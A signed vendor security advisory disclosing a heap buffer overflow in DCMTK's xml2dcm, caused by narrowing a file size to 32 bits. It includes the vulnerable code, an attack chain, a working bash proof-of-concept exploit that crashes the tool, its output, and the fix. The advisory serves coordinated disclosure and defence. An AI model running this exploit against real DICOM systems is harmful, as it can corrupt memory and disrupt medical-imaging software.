-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2026-048 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Integer Overflow or Wraparound (CWE-190) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). The xml2dcm application and the DcmXMLReader library are vulnerable to a heap buffer overflow when importing external binary files larger than 4 GiB via the binary="file" XML attribute. The file size is measured as size_t but narrowed to Uint32 for the heap allocation, while the full size_t length is used as the fread() read size. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The function DcmXMLReader::createBinaryElementFromFile() in libdcxml/xml2dcm.cc (lines 311-330) imports external binary files referenced by binary="file" in XML: const size_t fileSize = OFStandard::getFileSize(filename); size_t buflen = fileSize; if (buflen & 1) buflen++; if (dcmEVR == EVR_OW) result = element->createUint16Array( OFstatic_cast(Uint32, buflen / 2), buf16); else result = element->createUint8Array( OFstatic_cast(Uint32, buflen), buf); if (fread(buf, 1, OFstatic_cast(size_t, fileSize), f) != fileSize) ... The file size is measured as size_t, narrowed to Uint32 for allocation, and then used as the full size_t read length. The attack chain is as follows: 1. The attacker creates a file larger than 4 GiB (e.g. 4294967297 bytes). 2. The attacker crafts a DICOM XML with binary="file" referencing the large file. 3. xml2dcm reads the file size as size_t (4294967297). 4. createUint8Array() allocates only the low 32 bits (2 bytes). 5. fread() writes 4294967297 bytes into the 2-byte buffer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following exploit script creates a sparse 4294967297-byte file and a DICOM XML referencing it as Pixel Data (OB binary="file"), and then runs xml2dcm: cat > poc.sh << 'EOPOC' #!/bin/bash # # XML binary="file" Length Truncation -> Heap Buffer Overflow # Proof of concept exploit for SYSS-2026-048 # # xml2dcm measures file size as size_t, narrows to Uint32 for allocation, # then uses full size_t for fread — causing heap overflow for files > 4 GiB. # # A sparse file of 4 GiB + 1 byte takes 0 bytes of disk space. # fileSize = 4294967297 (0x100000001) # buflen = 4294967298 (odd, rounded up) # createUint8Array(Uint32(4294967298)) = createUint8Array(2) -> 2-byte heap allocation # fread(buf, 1, 4294967297, f) -> writes 4 GiB into 2-byte buffer -> heap corruption # set -euo pipefail XML2DCM="xml2dcm" WORKDIR="/tmp/h4_poc_$$" SPARSE_SIZE=4294967297 # 4 GiB + 1 byte echo "=== PoC: XML binary=\"file\" Length Truncation -> Heap Overflow ===" echo "" echo "Vulnerability: xml2dcm.cc:311-330" echo " size_t fileSize = OFStandard::getFileSize(filename); // 64-bit" echo " element->createUint8Array(Uint32(buflen), buf); // narrowed to 32-bit" echo " fread(buf, 1, fileSize, f); // full 64-bit read" echo "" echo "Configuration:" echo " File size: $SPARSE_SIZE bytes (0x100000001, sparse — 0 bytes on disk)" echo " Allocation: Uint32($SPARSE_SIZE) = 2 bytes (truncated!)" echo " fread length: $SPARSE_SIZE bytes (full size_t)" echo " xml2dcm: $XML2DCM" echo "" mkdir -p "$WORKDIR" # Step 1: Create sparse file SPARSE_FILE="$WORKDIR/large.bin" echo "[*] Creating sparse file of $SPARSE_SIZE bytes (0 bytes on disk)..." truncate -s "$SPARSE_SIZE" "$SPARSE_FILE" echo "[+] Sparse file: $SPARSE_FILE" ls -lh "$SPARSE_FILE" # Step 2: Create XML referencing the sparse file XML_FILE="$WORKDIR/exploit.xml" echo "" echo "[*] Creating XML file with binary=\"file\" reference..." cat > "$XML_FILE" << XMLEOF 1.2.840.10008.1.2 1.2.3.4.5.6.7.8.9 $SPARSE_FILE XMLEOF echo "[+] XML file: $XML_FILE" # Step 3: Run xml2dcm OUTPUT_FILE="$WORKDIR/output.dcm" echo "" echo "[*] Running xml2dcm..." echo "" OUTPUT=$("$XML2DCM" "$XML_FILE" "$OUTPUT_FILE" 2>&1) && EXIT_CODE=0 || EXIT_CODE=$? echo "---" echo "Result:" echo " Exit code: $EXIT_CODE" echo " Output:" echo "$OUTPUT" echo "" # Clean up rm -rf "$WORKDIR" if [ $EXIT_CODE -ne 0 ]; then echo "[+] SUCCESS: xml2dcm crashed with exit code $EXIT_CODE" echo " The 4 GiB + 1 byte sparse file was allocated as 2 bytes" echo " and fread wrote 4 GiB into it, corrupting the heap." else echo "[-] FAIL: xml2dcm did not crash." fi echo "" echo "=== PoC complete ===" EOPOC The exploit causes xml2dcm to abort with "malloc(): invalid size (unsorted)" (SIGABRT), confirming the truncated allocation and heap corruption. === PoC: XML binary="file" Length Truncation -> Heap Overflow === Vulnerability: xml2dcm.cc:311-330 size_t fileSize = OFStandard::getFileSize(filename); // 64-bit element->createUint8Array(Uint32(buflen), buf); // narrowed to 32-bit fread(buf, 1, fileSize, f); // full 64-bit read Configuration: File size: 4294967297 bytes (0x100000001, sparse — 0 bytes on disk) Allocation: Uint32(4294967297) = 2 bytes (truncated!) fread length: 4294967297 bytes (full size_t) xml2dcm: xml2dcm [*] Creating sparse file of 4294967297 bytes (0 bytes on disk)... [+] Sparse file: /tmp/h4_poc_50290/large.bin - -rw-r--r-- 1 matt matt 4.1G Jun 30 17:44 /tmp/h4_poc_50290/large.bin [*] Creating XML file with binary="file" reference... [+] XML file: /tmp/h4_poc_50290/exploit.xml [*] Running xml2dcm... - --- Result: Exit code: 134 Output: malloc(): invalid size (unsorted) [+] SUCCESS: xml2dcm crashed with exit code 134 The 4 GiB + 1 byte sparse file was allocated as 2 bytes and fread wrote 4 GiB into it, corrupting the heap. === PoC complete === ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit ebeafd016bcef34021111550cc2a644129d89825 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-048 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-048.txt [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix https://github.com/DCMTK/dcmtk/commit/ebeafd016bcef34021111550cc2a644129d89825 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEE0fCgNfBs5nXNuQUU2aS/ajStTasFAmpoxH8ACgkQ2aS/ajSt TatCLQ//cthXqFl3YuQnkLe5MkeGiCgQo2IwUOaUPd+1vNkkO1r6sCiFJDm3RtZh qZvonY/OUB2MbqyAB/NuhVwzJpluG+H2QZOUUGJ4HUDXq/a/erj8/7CUKpWZunZ3 Ua0Nn6gAqcZWltPUBG5UClwaapCcrgL7cligBXk/ebgIzATRXa2TMc6Fpm8kKwzQ A7BasVJ5xmvHcLkx9web3IhUMU935gpuhjbmxLOVBXKLq8wtcXUeBacg8ETNBP5R lM8n5BV+4n4FIE2ZVqOXhv+eRjFWGq1bpRVSqk/3mZoejub5xaWc/wOAn/R60vDe BcJADeL/1KMb4feYGH7gK4xQotFwPVvOvMgwWXAaxWYX+xO6Wu3rkpr/Bp7gUaWW vcqq1JtoX+JrAPRCjwcljpxcT3tgTG8Wa3/pYClfQ8N5EejAdkWjv82t3igAVXzc zv76y1f/uQ/FtAM8s80cQDQtfD2pGiG3oZL3+alMdro/7PVoF/Us10J969ev9tJ+ a+ms0Qb2jwwmZkeA7IdzndUw2UPbIdCMbhoDsiD+NIKTzWTd2vClEsFVsJo8FOoA v49RJocrf6p72MoPyNin9Jz3P+4+yNjPu9m2kQFmlG0xvqsFk8vsttn0GFLng6CM sGts1GUE1WQ32ZmIu00JKj2p171hqY/l4keAmMqLpF2W1bR05/0= =B2zH -----END PGP SIGNATURE-----